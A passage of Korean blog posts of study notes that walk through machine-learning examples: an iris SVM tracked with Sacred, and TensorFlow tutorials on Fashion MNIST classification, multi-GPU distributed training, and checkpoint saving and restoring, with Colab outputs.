  iris_target = iris_df['Name']

  data = iris_data.values
  target = iris_target.values

  X_train, X_test, y_train, y_test = train_test_split(data,
                                                      target,
                                                      test_size = 1/3,
                                                      random_state=0)

  print("X_train.shape: {}, X_test.shape: {}".format(X_train.shape,
                                                      X_test.shape))
  print("y_train.shape: {}, y_train.shape: {}".format(y_train.shape,
                                                      y_test.shape))

  clf = svm.SVC(C, kernel, gamma=gamma)
  clf.fit(X_train, y_train)

  y_pred = clf.predict(X_test)
  print("predict: {}".format(y_pred))

  accuracy = metrics.accuracy_score(y_test, y_pred);
  print("accuracy: {}".format(accuracy))

Sacred 적용 후

소스코드

  import pandas as pd
  from sklearn.model_selection import train_test_split
  from sklearn import svm, metrics
  from sacred import Experiment
  from sacred.observers import FileStorageObserver

  ex = Experiment('iris_rbf_svm')
  ex.observers.append(FileStorageObserver.create('example/my_runs'))

  @ex.config
  def cfg():
      C = 1.0
      gamma = 0.7
      kernel = "rbf"

  @ex.capture
  def get_model(C, gamma, kernel):
      return svm.SVC(C, kernel, gamma=gamma)

  @ex.automain
  def run():
      data_url = 'https://github.com/pandas-dev/pandas/raw/master/pandas/tests/data/iris.csv'
      iris_df = pd.read_csv(data_url)
      print("iris_df.shape: {}".format(iris_df.shape))

      iris_data = iris_df[['SepalLength', 'SepalWidth', 'PetalLength', 'PetalWidth']]
      iris_target = iris_df['Name']

      data = iris_data.values
      target = iris_target.values

      # train data, test data split
      X_train, X_test, y_train, y_test = train_test_split(data,
                                                          target,
                                                          test_size = 1/3,
                                                          random_state=0)

      print("X_train.shape: {}, X_test.shape: {}".format(X_train.shape,
                                                          X_test.shape))
      print("y_train.shape: {}, y_train.shape: {}".format(y_train.shape,
                                                          y_test.shape))
      clf = get_model()
      clf.fit(X_train, y_train)

      y_pred = clf.predict(X_test)
      #print("predict: {}".format(y_pred))

      accuracy = metrics.accuracy_score(y_test, y_pred);
      print("accuracy: {}".format(accuracy))

실행결과

참고사이트

TensorFlow Core Tutorial - 첫번째 신경망 훈련하기: 기초적인 분류 문제

eunguru — Fri, 3 Jan 2020 10:17:42 +0900

첫번째 신경망 훈련하기: 기초적인 분류 문제

운동화나 셔츠 같은 옷 이미지를 분류하는 신경망 모델 훈련

try:
  %tensorflow_version 2.x
except Exception:
  pass

TensorFlow 2.x selected.

from __future__ import absolute_import, division, print_function, unicode_literals

import tensorflow as tf
from tensorflow import keras

import numpy as np
import matplotlib.pyplot as plt

print(tf.__version__)

2.1.0-rc1

패션 MNIST 데이터셋 임포트하기

패션 MNIST 사용
- 10개의 범주(category), 70,000개의 흑백이미지로 구성
- 이미지 해상도(28x28 픽셀), 0~255사이의 값
- 훈련이미지: 60,000개 사용
- 평가이미지: 10,000개 사용
- 레이블: 0~9까지의 정수배열, 옷의 클래스를 나타냄
  - 0: T-shirt/top
  - 1: Trouser
  - 2: Pullover
  - 3: Dress
  - 4: Coat
  - 5: Sandal
  - 6: Shirt
  - 7: Sneaker
  - 8: Bag
  - 9: Ankle boot

fashion_mnist = keras.datasets.fashion_mnist
(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()

Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-labels-idx1-ubyte.gz
32768/29515 [=================================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-images-idx3-ubyte.gz
26427392/26421880 [==============================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-labels-idx1-ubyte.gz
8192/5148 [===============================================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-images-idx3-ubyte.gz
4423680/4422102 [==============================] - 0s 0us/step

print(type(train_images)) # load_data()가 numpy배열을 반환
print(train_images.shape, train_labels.shape) # 훈련세트
print(test_images.shape, test_labels.shape) # 테스트세트

<class 'numpy.ndarray'>
(60000, 28, 28) (60000,)
(10000, 28, 28) (10000,)

class_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
               'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']

데이터 탐색

훈련세트: 60,000개 이미지

train_images.shape

(60000, 28, 28)

len(train_labels)

train_labels  # label: 0~9사이의 정수

array([9, 0, 0, ..., 3, 0, 5], dtype=uint8)

테스트세트: 10,000개 이미지

test_images.shape

(10000, 28, 28)

len(test_labels)

데이터 전처리

첫번째 훈련 이미지 시각화: 픽셀의 범위가 0~255사이

plt.figure()
plt.imshow(train_images[0])
plt.colorbar()
plt.grid(False)
plt.show()

신경망 모델에 주입하기 위해 픽셀의 범위를 0~1사이로 조정
- 훈련세트와 테스트세트를 동일한 방식으로 전처러하는 것이 좋음

train_images = train_images / 255.0
test_images = test_images / 255.0

plt.figure(figsize=(10,10))

# 훈련세트 처음 25개 이미지 출력
for i in range(25):
  plt.subplot(5,5, i+1)
  plt.xticks([])
  plt.yticks([])
  plt.grid(False)
  plt.imshow(train_images[i], cmap=plt.cm.binary)
  plt.xlabel(class_names[train_labels[i]])
plt.show()

모델 구성

층설정

층(layer): 신경망의 기본 구성요소, 주입된 데이터에서 더 의미있는 표현(representation)을 추출
- tf.keras.layers.Flatten: 데이터 변환만 수행, 1차원 배열로 변환
- tf.keras.layers.Dense: 밀집 연결(densely-connected) 또는 완전 연결(full-connected)층이라고 불림

model = keras.Sequential([
                         keras.layers.Flatten(input_shape=(28, 28)),
                         keras.layers.Dense(128, activation='relu'),
                         keras.layers.Dense(10, activation='softmax') # 10개의 확률을 반환, 전체합은 1
])

모델 컴파일

모델 훈련 전 필요한 설정
- 손실함수(Loss function): 훈련하는 동안 모델의 오차를 측정, 모델의 학습이 올바른 방향으로 향하도록 함수 최소화가 필요
- 옵티마이저(Optimize): 데이터와 손실함수를 바탕으로 모델의 업데이트 방법을 결정
- 지표(Metrics): 훈련단계와 테스트 단계를 모니터링하게 사용

model.compile(optimizer='adam',
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])

모델 훈련

훈련데이터를 모델에 주입: train_images, train_labels
모델이 이미와 레이블을 매핑하는 방법을 배움
테스트 세트에 대한 모델의 예측을 만듦: test_images에 해당
테스트 세트에 대한 예측이 레이블과 맞는지 확인: test_labels와 비교

model.fit(train_images, train_labels, epochs=5)

Train on 60000 samples
Epoch 1/5
60000/60000 [==============================] - 6s 100us/sample - loss: 0.4960 - accuracy: 0.8260
Epoch 2/5
60000/60000 [==============================] - 4s 69us/sample - loss: 0.3721 - accuracy: 0.8658
Epoch 3/5
60000/60000 [==============================] - 4s 68us/sample - loss: 0.3374 - accuracy: 0.8762
Epoch 4/5
60000/60000 [==============================] - 4s 67us/sample - loss: 0.3133 - accuracy: 0.8848
Epoch 5/5
60000/60000 [==============================] - 4s 72us/sample - loss: 0.2945 - accuracy: 0.8917





<tensorflow.python.keras.callbacks.History at 0x7f55f03b85f8>

정확도 평가

테스트 세트에서 모델의 성능을 비교하는 것
- 훈련세트의 정확도와 테스트 세트의 정확도 사이의 차이는 과대적합(overfitting) 때문
  - 과대적합은 머신러닝 모델이 훈련 데이터보다 새로운 데이터에서 성능이 낮아지는 현상

test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
print('\n테스트 정확도:', test_acc)

10000/10000 - 1s - loss: 0.3555 - accuracy: 0.8744

테스트 정확도: 0.8744

예측 만들기

predictions = model.predict(test_images)

predictions[0]

array([5.4779186e-05, 1.9705626e-08, 4.5254851e-08, 1.0074039e-08,
       1.4064354e-07, 3.9456915e-03, 1.5197660e-06, 9.9437140e-02,
       1.1629425e-06, 8.9655954e-01], dtype=float32)

np.argmax(predictions[0])

test_labels[0]

def plot_image(i, predictions, true_label, img):
  prediction_array, true_label, img = predictions[i], true_label[i], img[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])

  plt.imshow(img, cmap=plt.cm.binary)

  predicted_label = np.argmax(prediction_array)
  if predicted_label == true_label:
    color = 'blue'
  else:
    color = 'red'

  plt.xlabel("{} {:2.0f}% ({})".format(class_names[predicted_label],
                                       100*np.max(prediction_array),
                                       class_names[true_label]),
                                       color=color)

def plot_value_array(i, predictions_array, true_label):
  predictions_array, true_label = predictions_array[i], true_label[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])
  thisplot = plt.bar(range(10), predictions_array, color="#777777")
  plt.ylim([0,1])
  predicted_label = np.argmax(predictions_array)

  thisplot[predicted_label].set_color('red')
  thisplot[true_label].set_color('blue')

i=0
plt.figure(figsize=(6,3))
plt.subplot(1,2,1)
plot_image(i, predictions, test_labels, test_images)
plt.subplot(1,2,2)
plot_value_array(i, predictions, test_labels)
plt.show()

i=12
plt.figure(figsize=(6,3))
plt.subplot(1,2,1)
plot_image(i, predictions, test_labels, test_images)
plt.subplot(1,2,2)
plot_value_array(i, predictions, test_labels)
plt.show()

num_rows = 5
num_cols = 3

num_images = num_rows*num_cols

plt.figure(figsize=(2*2*num_cols, 2*num_rows))
for i in range(num_images):
  plt.subplot(num_rows, 2*num_cols, 2*i+1)
  plot_image(i, predictions, test_labels, test_images)
  plt.subplot(num_rows, 2*num_cols, 2*i+2)
  plot_value_array(i, predictions, test_labels)
plt.show()

마지막 모델을 사용하여 한 이미지에 대한 예측을 만듦

img = test_images[0]
print(img.shape)

(28, 28)

tf.keras 모델은 한번에 샘플의 묶음 또는 배치(batch)로 예측을 만드는데 최적화 되어 있음
(하나의 이미지를 사용할 때도 2차원 배열로 만들어야 함)

img = (np.expand_dims(img, 0))
print(img.shape)

(1, 28, 28)

predictions_single = model.predict(img)
print(predictions_single.shape)
print(predictions_single)

(1, 10)
[[5.4779186e-05 1.9705663e-08 4.5254851e-08 1.0074039e-08 1.4064381e-07
  3.9456934e-03 1.5197660e-06 9.9437140e-02 1.1629446e-06 8.9655954e-01]]

plot_value_array(0, predictions_single, test_labels)
_ = plt.xticks(range(10), class_names, rotation=45)

np.argmax(predictions_single[0])

TensorFlow Core Tutorials - 케라스를 사용한 분산 훈련

eunguru — Sun, 29 Dec 2019 02:28:32 +0900

케라스를 사용한 분산 훈련

튜토리얼바로가기

개요

tf.distribute.Strategy: 훈련을 여러 처리 장치들로 분산시키는 것을 추상화 한것
- 기존의 모델이나 훈련 코드를 조금만 바꾸어 분산훈련을 할 수 있게 하는 것
- tf.distribute.MirroredStrategy를 사용: 동기화된 훈련 방식을 활용하여 한 장비에 있는 여러개의 GPU로 그래프 내 복제를 수행
  - 모델의 모든 변수를 각 프로세서에 복사
  - 각 프로세서의 그래디언트를 올 리듀스(all-reduce)를 사용하여 모음
  - 모아서 계산한 값을 각 프로세서의 모델 복사본에 적용
- 참고 - 다른 분산 전략 가이드

필요한 패키지 가져오기

try:
  %tensorflow_version 2.x
except Exception:
  pass

from __future__ import absolute_import, division, print_function, unicode_literals

import tensorflow_datasets as tfds
import tensorflow as tf

tfds.disable_progress_bar()

import os

데이터셋 다운로드

MNIST 데이터셋을 TensorFlow Datasets에서 다운로드
- tf.data 형식을 반환
- with_info=True로 설정: 전체 데이터에 대한 메타정보(훈련과 테스트 샘플수 등 정보)로 함께 불러옴

datasets, info = tfds.load(name='mnist', with_info=True, as_supervised=True)
mnist_train, mnist_test = datasets['train'], datasets['test']

# 메타데이터 출력
info

tfds.core.DatasetInfo(
    name='mnist',
    version=1.0.0,
    description='The MNIST database of handwritten digits.',
    homepage='http://yann.lecun.com/exdb/mnist/',
    features=FeaturesDict({
        'image': Image(shape=(28, 28, 1), dtype=tf.uint8),
        'label': ClassLabel(shape=(), dtype=tf.int64, num_classes=10),
    }),
    total_num_examples=70000,
    splits={
        'test': 10000,
        'train': 60000,
    },
    supervised_keys=('image', 'label'),
    citation="""@article{lecun2010mnist,
      title={MNIST handwritten digit database},
      author={LeCun, Yann and Cortes, Corinna and Burges, CJ},
      journal={ATT Labs [Online]. Available: http://yann. lecun. com/exdb/mnist},
      volume={2},
      year={2010}
    }""",
    redistribution_info=,
)

분산 전략 정의하기

MirroredStrategy객체: 분산과 관련된 처리, 컨텍스트 관리자 제공
- tf.distribute.MirroredStrategy.scope

strategy = tf.distribute.MirroredStrategy()

INFO:tensorflow:Using MirroredStrategy with devices ('/job:localhost/replica:0/task:0/device:GPU:0',)


INFO:tensorflow:Using MirroredStrategy with devices ('/job:localhost/replica:0/task:0/device:GPU:0',)

print('장치의 수: {}'.format(strategy.num_replicas_in_sync))

장치의 수: 1

입력 파이프라인 구성하기

다중 GPU로 모델을 훈련할 때는 배치크기를 늘려야 컴퓨팅 자원을 효과적으로 사용가능
- 기본: GPU 메모리에 맞춰 가능한 큰 배치 크기 사용, 학습률 조정

# 데이터셋 내 샘플의 수
print(info.splits.total_num_examples)

num_train_examples = info.splits['train'].num_examples
num_test_examples = info.splits['test'].num_examples

print(num_train_examples, num_test_examples)

BUFFER_SIZE = 10000

BATCH_SIZE_PER_REPLICA = 64
BATCH_SIZE = BATCH_SIZE_PER_REPLICA * strategy.num_replicas_in_sync

print('BATCH_SIZE: {}'.format(BATCH_SIZE))

70000
60000 10000
BATCH_SIZE: 64

픽셀의 값이 0~255 사이, 0-1범위로 정규화 필요

def scale(image, label):
  image = tf.cast(image, tf.float32)
  image /= 255

  return image, label

훈련 데이터 순서를 섞고 훈련을 위해 배치로 묶음

train_dataset = mnist_train.map(scale).shuffle(BATCH_SIZE).batch(BATCH_SIZE)
eval_dataset = mnist_test.map(scale).batch(BATCH_SIZE)

모델 만들기

strategy.scope컨텍스트 안에서 케라스 모델을 만들고 컵파일 함

with strategy.scope():
  model = tf.keras.Sequential([
                               tf.keras.layers.Conv2D(32, 3, activation='relu', input_shape=(28, 28, 1)),
                               tf.keras.layers.MaxPool2D(),
                               tf.keras.layers.Flatten(),
                               tf.keras.layers.Dense(64, activation='relu'),
                               tf.keras.layers.Dense(10, activation='softmax')
  ])

  model.compile(loss='sparse_categorical_crossentropy',
                optimizer=tf.keras.optimizers.Adam(),
                metrics=['accuracy'])

콜백 정의하기

텐서보드(TensorBoard): 텐서보드용 로그를 남김, 텐서보드에서 그래프를 그릴 수 있게 해줌
모델 체크포인트(Checkpoint): 에포크가 끝난 후 모델을 저장
학습률 스케줄러: 에포크 혹은 배치가 끝난 후 학습률을 바꿈

# 체크포인트를 저장할 디렉토리
checkpoint_dir = './training_checkpoints'

# 체크포인트 파일의 이름
checkpoint_prefix = os.path.join(checkpoint_dir, 'ckpt_{epoch}')

# 학습률을 점점 줄이기 위한 함수
# 필요한 함수를 직접 정의해서 사용가능
def decay(epoch):
  if epoch < 3:
    return 1e-3
  elif epoch >=3 and epoch < 7:
    return 1e-4
  else:
    return 1e-5

# epoch가 끝날 때마다 학습률을 출력하는 콜백
class PrintLR(tf.keras.callbacks.Callback):
  def on_epoch_end(self, epoch, logs=None):
    print('\n에포크 {}의 학습률은 {}입니다.'.format(epoch+1, model.optimizer.lr.numpy()))

callbacks = [
             tf.keras.callbacks.TensorBoard(log_dir='./logs'),
             tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_prefix,
                                                save_weights_only=True),
             tf.keras.callbacks.LearningRateScheduler(decay),
             PrintLR()
]

훈련과 평가

model.fit(train_dataset, epochs=12, callbacks=callbacks)

Epoch 1/12
    938/Unknown - 18s 19ms/step - loss: 0.1962 - accuracy: 0.9429
에포크 1의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 18s 19ms/step - loss: 0.1962 - accuracy: 0.9429
Epoch 2/12
937/938 [============================>.] - ETA: 0s - loss: 0.0629 - accuracy: 0.9814
에포크 2의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0629 - accuracy: 0.9814
Epoch 3/12
936/938 [============================>.] - ETA: 0s - loss: 0.0429 - accuracy: 0.9874
에포크 3의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0430 - accuracy: 0.9874
Epoch 4/12
936/938 [============================>.] - ETA: 0s - loss: 0.0241 - accuracy: 0.9934
에포크 4의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0240 - accuracy: 0.9934
Epoch 5/12
936/938 [============================>.] - ETA: 0s - loss: 0.0206 - accuracy: 0.9948
에포크 5의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0206 - accuracy: 0.9948
Epoch 6/12
936/938 [============================>.] - ETA: 0s - loss: 0.0188 - accuracy: 0.9955
에포크 6의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 13s 13ms/step - loss: 0.0187 - accuracy: 0.9955
Epoch 7/12
935/938 [============================>.] - ETA: 0s - loss: 0.0172 - accuracy: 0.9961
에포크 7의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0172 - accuracy: 0.9961
Epoch 8/12
936/938 [============================>.] - ETA: 0s - loss: 0.0148 - accuracy: 0.9967
에포크 8의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0148 - accuracy: 0.9967
Epoch 9/12
936/938 [============================>.] - ETA: 0s - loss: 0.0146 - accuracy: 0.9968
에포크 9의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0146 - accuracy: 0.9968
Epoch 10/12
936/938 [============================>.] - ETA: 0s - loss: 0.0144 - accuracy: 0.9968
에포크 10의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0144 - accuracy: 0.9968
Epoch 11/12
936/938 [============================>.] - ETA: 0s - loss: 0.0142 - accuracy: 0.9969
에포크 11의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0142 - accuracy: 0.9969
Epoch 12/12
936/938 [============================>.] - ETA: 0s - loss: 0.0140 - accuracy: 0.9969
에포크 12의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0140 - accuracy: 0.9969





<tensorflow.python.keras.callbacks.History at 0x7f1d34000c50>

# 체크포인트 디렉터리 확인하기
!ls {checkpoint_dir}

checkpoint             ckpt_4.data-00000-of-00002
ckpt_10.data-00000-of-00002  ckpt_4.data-00001-of-00002
ckpt_10.data-00001-of-00002  ckpt_4.index
ckpt_10.index             ckpt_5.data-00000-of-00002
ckpt_11.data-00000-of-00002  ckpt_5.data-00001-of-00002
ckpt_11.data-00001-of-00002  ckpt_5.index
ckpt_11.index             ckpt_6.data-00000-of-00002
ckpt_12.data-00000-of-00002  ckpt_6.data-00001-of-00002
ckpt_12.data-00001-of-00002  ckpt_6.index
ckpt_12.index             ckpt_7.data-00000-of-00002
ckpt_1.data-00000-of-00002   ckpt_7.data-00001-of-00002
ckpt_1.data-00001-of-00002   ckpt_7.index
ckpt_1.index             ckpt_8.data-00000-of-00002
ckpt_2.data-00000-of-00002   ckpt_8.data-00001-of-00002
ckpt_2.data-00001-of-00002   ckpt_8.index
ckpt_2.index             ckpt_9.data-00000-of-00002
ckpt_3.data-00000-of-00002   ckpt_9.data-00001-of-00002
ckpt_3.data-00001-of-00002   ckpt_9.index
ckpt_3.index

model.load_weights(tf.train.latest_checkpoint(checkpoint_dir))
eval_loss, eval_acc = model.evaluate(eval_dataset)

print('\n평가 손실: {}, 평가 정확도: {}'.format(eval_loss, eval_acc))

    157/Unknown - 3s 20ms/step - loss: 0.0378 - accuracy: 0.9871
평가 손실: 0.037776678224067516, 평가 정확도: 0.9871000051498413

# 텐서보드 extension load 
%load_ext tensorboard

The tensorboard extension is already loaded. To reload it, use:
  %reload_ext tensorboard

%tensorboard --logdir logs

Output hidden; open in https://colab.research.google.com to view.

!ls -sh ./logs

total 4.0K
4.0K train

SaveModel로 내보내기(지원중단됨)

TensorFlow Core Tutorials - 모델 저장과 복원

eunguru — Sat, 28 Dec 2019 01:44:11 +0900

모델 저장과 복원

튜토리얼바로가기
훈련하는 도중이나 훈련이 끝난후 모델을 저장할 수 있음
- 모델을 중지된 지점부터 다시 훈련할 수 있음
- 모델저장시 모델 공유가능, 작업재현 가능
연구한 모델과 기법 공개시 모델을 만드는 코드, 모델의 훈련된 가중치 또는 파라미터 등을 제공
- 모델의 작동방식 이해와 새로운 데이터로 모델을 실험하는데 도움이 됨
저장방식: 사용하는 API에 따라 다름, 현재 문서에서는 tf.kera 고수준 API사용
- 다른방법참조-저장과 복원
- 다른방법참조-저장하기

설정

설치와 임포트

필요한 라이브러리 설치(설치가 안되어 있을경우에는 pip install -q h5py pyyaml을 통해 라이브러리 설치

try:
  # Colab only
  %tensorflow_version 2.x
except Exception:
  pass

!pip show h5py pyyaml

Name: h5py
Version: 2.10.0
Summary: Read and write HDF5 files from Python
Home-page: http://www.h5py.org
Author: Andrew Collette
Author-email: andrew.collette@gmail.com
License: BSD
Location: /tensorflow-2.1.0/python3.6
Requires: numpy, six
Required-by: Keras-Applications, textgenrnn, tensor2tensor, pymc3, Keras, keras-vis
---
Name: PyYAML
Version: 3.13
Summary: YAML parser and emitter for Python
Home-page: http://pyyaml.org/wiki/PyYAML
Author: Kirill Simonov
Author-email: xi@resolvent.net
License: MIT
Location: /usr/local/lib/python3.6/dist-packages
Requires: 
Required-by: PyDrive, Keras, featuretools, fastai, distributed, coveralls, bokeh

예제 데이터셋 받기

MNIST데이터셋으로 모델 훈련, 가중치 저장하는 예제 구현
- 모델 실행속도를 빠르게 하기 위해 처음 10,000개만 사용

from __future__ import absolute_import, division, print_function, unicode_literals

import os

import tensorflow as tf
from tensorflow import keras

tf.__version__

'2.1.0-rc1'

(train_images, train_labels), (test_images, test_labels) = tf.keras.datasets.mnist.load_data()

#print(train_images.shape)
#print(train_labels.shape)
#print(test_images.shape)
#print(test_labels.shape)

train_labels = train_labels[:10000]
test_labels = test_labels[:10000]

train_images = train_images[:10000].reshape(-1, 28*28)/255.0
test_images = test_images[:10000].reshape(-1, 28*28)/255.0

#print(test_images[0])

모델정의

# 간단한 Sequential 모델을 반환
def create_model():
  model = tf.keras.models.Sequential([
                                     keras.layers.Dense(512, activation='relu', input_shape=(784,)),
                                     keras.layers.Dropout(0.2),
                                     keras.layers.Dense(10, activation='softmax')
  ])

  model.compile(optimizer='adam',
                loss='sparse_categorical_crossentropy',
                metrics=['accuracy'])
  return model

# 모델 객체를 만듦
model = create_model()
model.summary()

Model: "sequential"
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
dense (Dense)                (None, 512)               401920    
_________________________________________________________________
dropout (Dropout)            (None, 512)               0         
_________________________________________________________________
dense_1 (Dense)              (None, 10)                5130      
=================================================================
Total params: 407,050
Trainable params: 407,050
Non-trainable params: 0
_________________________________________________________________

훈련하는 동안 체크포인트 저장하기

체크포인트(checkpoint) 자동 저장
- 훈련 중간과 훈련 마지막에 체크포인트 저장을 많이 사용하는 방법
- 다시 훈련하지 않고 모델을 재사용하거나 훈련과정이 중지된 경우 이어서 훈련 진행
- tf.keras.callbacks.ModelCheckPoint콜백 사용

체크포인트 콜백사용

checkpoint_path = 'training_1/cp.ckpt'
checkpoint_dir = os.path.dirname(checkpoint_path)

cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,
                                                 save_weights_only=True,
                                                 verbose=1)

model = create_model()
model.fit(train_images, train_labels, epochs=10,
          validation_data = (test_images, test_labels),
          callbacks = [cp_callback])  # 훈련단계 콜백을 전달

Train on 10000 samples, validate on 10000 samples
Epoch 1/10
 9760/10000 [============================>.] - ETA: 0s - loss: 0.4361 - accuracy: 0.8741
Epoch 00001: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 2s 195us/sample - loss: 0.4322 - accuracy: 0.8752 - val_loss: 0.2542 - val_accuracy: 0.9248
Epoch 2/10
 9696/10000 [============================>.] - ETA: 0s - loss: 0.2004 - accuracy: 0.9407
Epoch 00002: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 138us/sample - loss: 0.1990 - accuracy: 0.9411 - val_loss: 0.1924 - val_accuracy: 0.9395
Epoch 3/10
 9824/10000 [============================>.] - ETA: 0s - loss: 0.1330 - accuracy: 0.9606
Epoch 00003: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 136us/sample - loss: 0.1331 - accuracy: 0.9604 - val_loss: 0.1704 - val_accuracy: 0.9467
Epoch 4/10
 9696/10000 [============================>.] - ETA: 0s - loss: 0.0953 - accuracy: 0.9715
Epoch 00004: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 135us/sample - loss: 0.0946 - accuracy: 0.9718 - val_loss: 0.1618 - val_accuracy: 0.9520
Epoch 5/10
 9408/10000 [===========================>..] - ETA: 0s - loss: 0.0697 - accuracy: 0.9799
Epoch 00005: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 132us/sample - loss: 0.0712 - accuracy: 0.9792 - val_loss: 0.1408 - val_accuracy: 0.9543
Epoch 6/10
 9984/10000 [============================>.] - ETA: 0s - loss: 0.0499 - accuracy: 0.9857
Epoch 00006: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 133us/sample - loss: 0.0502 - accuracy: 0.9856 - val_loss: 0.1366 - val_accuracy: 0.9589
Epoch 7/10
 9696/10000 [============================>.] - ETA: 0s - loss: 0.0433 - accuracy: 0.9872
Epoch 00007: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 134us/sample - loss: 0.0435 - accuracy: 0.9874 - val_loss: 0.1427 - val_accuracy: 0.9575
Epoch 8/10
 9632/10000 [===========================>..] - ETA: 0s - loss: 0.0280 - accuracy: 0.9929
Epoch 00008: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 137us/sample - loss: 0.0282 - accuracy: 0.9930 - val_loss: 0.1417 - val_accuracy: 0.9589
Epoch 9/10
 9440/10000 [===========================>..] - ETA: 0s - loss: 0.0294 - accuracy: 0.9917
Epoch 00009: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 134us/sample - loss: 0.0296 - accuracy: 0.9918 - val_loss: 0.1364 - val_accuracy: 0.9603
Epoch 10/10
 9472/10000 [===========================>..] - ETA: 0s - loss: 0.0165 - accuracy: 0.9963
Epoch 00010: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 136us/sample - loss: 0.0166 - accuracy: 0.9962 - val_loss: 0.1365 - val_accuracy: 0.9620





<tensorflow.python.keras.callbacks.History at 0x7fe2e04573c8>

!ls {checkpoint_dir}

checkpoint             cp.ckpt.data-00001-of-00002
cp.ckpt.data-00000-of-00002  cp.ckpt.index

훈련하지 않은 새모델 생성, 테스트 세트에서 평가
- 훈련하지 않은 모델의 성능은 무작위로 선택하는 정도의 수준(~10% 정확도)

model = create_model()
loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print("훈련되지 않은 모델의 정확도: {:5.2f}%".format(100*acc))

10000/10000 - 1s - loss: 2.2941 - accuracy: 0.1117
훈련되지 않은 모델의 정확도: 11.17%

체크포인트에서 가중치를 로드하고 다시 평가
- 단, 가중치만 복원할땐 원본 모델과 동일한 구조로 모델을 만들어야 함

model.load_weights(checkpoint_path)
loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print("복원된 모델의 정확도: {:5.2f}%".format(100*acc))

10000/10000 - 1s - loss: 0.1365 - accuracy: 0.9620
복원된 모델의 정확도: 96.20%

체크포인트 콜백 매개변수

콜백함수에서 제공하는 매개변수
- 체크포인트 이름을 고유하게 만들기
- 체크포인트 주기를 조정하기

checkpoint_path = 'training_2/cp--{epoch:04d}.ckpt'
checkpoint_dir = os.path.dirname(checkpoint_path)

cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,
                                                 save_weights_only=True,
                                                 verbose=1,
                                                 period=5)  # 5번째 에포크마다 가중치를 저장
model = create_model()
# 수동으로 가중치 저장
model.save_weights(checkpoint_path.format(epoch=0))
model.fit(train_images, train_labels,
          epochs=50, callbacks=[cp_callback],
          validation_data = (test_images, test_labels),
          verbose=0)

WARNING:tensorflow:`period` argument is deprecated. Please use `save_freq` to specify the frequency in number of samples seen.

Epoch 00005: saving model to training_2/cp--0005.ckpt

Epoch 00010: saving model to training_2/cp--0010.ckpt

Epoch 00015: saving model to training_2/cp--0015.ckpt

Epoch 00020: saving model to training_2/cp--0020.ckpt

Epoch 00025: saving model to training_2/cp--0025.ckpt

Epoch 00030: saving model to training_2/cp--0030.ckpt

Epoch 00035: saving model to training_2/cp--0035.ckpt

Epoch 00040: saving model to training_2/cp--0040.ckpt

Epoch 00045: saving model to training_2/cp--0045.ckpt

Epoch 00050: saving model to training_2/cp--0050.ckpt





<tensorflow.python.keras.callbacks.History at 0x7fe2e021e390>

!ls {checkpoint_dir}

checkpoint               cp--0025.ckpt.data-00001-of-00002
cp--0000.ckpt.data-00000-of-00002  cp--0025.ckpt.index
cp--0000.ckpt.data-00001-of-00002  cp--0030.ckpt.data-00000-of-00002
cp--0000.ckpt.index           cp--0030.ckpt.data-00001-of-00002
cp--0005.ckpt.data-00000-of-00002  cp--0030.ckpt.index
cp--0005.ckpt.data-00001-of-00002  cp--0035.ckpt.data-00000-of-00002
cp--0005.ckpt.index           cp--0035.ckpt.data-00001-of-00002
cp--0010.ckpt.data-00000-of-00002  cp--0035.ckpt.index
cp--0010.ckpt.data-00001-of-00002  cp--0040.ckpt.data-00000-of-00002
cp--0010.ckpt.index           cp--0040.ckpt.data-00001-of-00002
cp--0015.ckpt.data-00000-of-00002  cp--0040.ckpt.index
cp--0015.ckpt.data-00001-of-00002  cp--0045.ckpt.data-00000-of-00002
cp--0015.ckpt.index           cp--0045.ckpt.data-00001-of-00002
cp--0020.ckpt.data-00000-of-00002  cp--0045.ckpt.index
cp--0020.ckpt.data-00001-of-00002  cp--0050.ckpt.data-00000-of-00002
cp--0020.ckpt.index           cp--0050.ckpt.data-00001-of-00002
